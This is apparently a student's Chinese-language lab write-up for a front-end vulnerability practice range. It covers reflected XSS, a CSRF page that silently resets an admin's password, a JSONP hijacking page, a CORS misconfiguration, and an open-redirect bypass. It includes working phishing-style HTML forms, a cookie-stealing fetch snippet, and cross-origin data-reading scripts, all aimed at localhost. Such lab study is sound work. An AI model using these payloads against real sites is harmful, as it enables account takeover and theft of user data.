前端漏洞


漏洞环境:前端漏洞靶场环境

——front(系统有两个用户: user1/user1 、 admin1/admin1)

  1. 挖掘环境中的反射型XSS漏洞,(以弹框test13证明)

img

  1. 复现环境中的CSRF漏洞,设计表单,当管理员点击URL以后自动将自己的密码重置为: 1234
  • 抓包得到修改密码的post表单

img

  • 修改表单并准备相关注入函数
function stealCookies() {
  fetch(
    "http://localhost:8000?url=http://localhost:8983/front/info.php?name=123456",
    {
      method: "POST",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": document.cookie,
      },
      body: JSON.stringify({
        newpassword: "123456",
        passwordrepeat: "123456",
      }),
    },
  );
}
  • 设计运行条件,通过CSRF跨站执行该js脚本

脚本设计上有一点问题,即cookies的获取:

实际上,CSRF利用重定向机制自动附上Cookies,且CORS机制不允许通过fetch函数请求资源,于是手动构造POST表单

<!DOCTYPE html>

<head>
  <meta charset="utf-8">
  <title>My Page</title>
</head>

<body>
  <h1>This is a hacker page</h1>
  <p>It is not a real page</p>
  <p>It is a page to steal your account</p>
  <form action="http://localhost:8983/front/info.php?name=" method="POST">
    <input type="text" name="newpassword" value="123456" hidden="hidden">
    <input type="password" name="passwordrepeat" value="123456" hidden="hidden">
    <input type="submit" value="Submit">
  </form>
</body>

</html>

POST表单的提交方式CORS策略允许通过,且查看发现请求发现已经带上了Cookies,可执行CSRF攻击

img

  • 根据上一步的请求表单制作钓鱼网页

目标站点登录,维持Cookies便于利用:

img

打开构造好的表单,准备执行CSRF攻击:

点击表单提交按钮,由于和靶机站点之间有session存在,Cookies得以维持在其生命周期内,在生命周期中,根据CORS默认策略,会为POST请求附上Cookies

图形用户界面, 应用程序  描述已自动生成

提交表单结束,页面被重定向到靶机

且由于密码更新,原有的Cookies被替换,原会话Cookies过期,Session将自动被退出,这时候已经完成了密码的窃取和替换

电脑屏幕截图  描述已自动生成

尝试提交原密码,发现表单生效

img

提交新密码,成功登录

电脑萤幕的截图  描述已自动生成

  1. 复现环境中JSON Hijacking漏洞,在另一个网站(或本机另一个端口)获取用户信息
<!DOCTYPE html>

<head>
  <meta charset="utf-8">
  <title>My Page</title>
  <script>
    function handleResponse(data) {
      for (var key in data) {
        if (data.hasOwnProperty(key)) {
          var value = data[key];
          var element = document.createElement("h3");
          element.textContent = key + ": " + value;
          document.body.appendChild(element);
        }
      }
    }
  </script>
</head>

<body>
  <h1>This is a hacker page</h1>
  <p>It is not a real page</p>
  <p>It is a page to steal your account</p>
  <script src="http://localhost:8983/front/userdata.php?callback=handleResponse"></script>
</body>

</html>

图形用户界面, 应用程序  中度可信度描述已自动生成

  1. 通过在服务器Web目录创建.htaccess文件,控制服务器响应头,实现CORS漏洞,在另一网站,接收HTML接口的用户信息。

img

构造跨站请求信息的函数

function CORS(url) {
  fetch(url, {
    method: "GET",
    headers: {
      "Content-Type": "application/x-www-form-urlencoded",
    },
  }).then((response) => response.text())
    .then((data) => {
      console.log("Success:", data);
      var table = document.createElement("div");
      table.innerHTML = data;
      document.body.appendChild(table);
    })
    .catch((error) => {
      console.error("Error:", error);
    });
}
CORS("http://localhost:8983/front/cors.php");

访问其他端口的页面,发现成功

img

  1. 挖掘环境中的URL跳转漏洞,构造请求,跳转到百度官网

发现请求对http,https有过滤

研究发现可以输入//和http等效

img

Comments

Leave a comment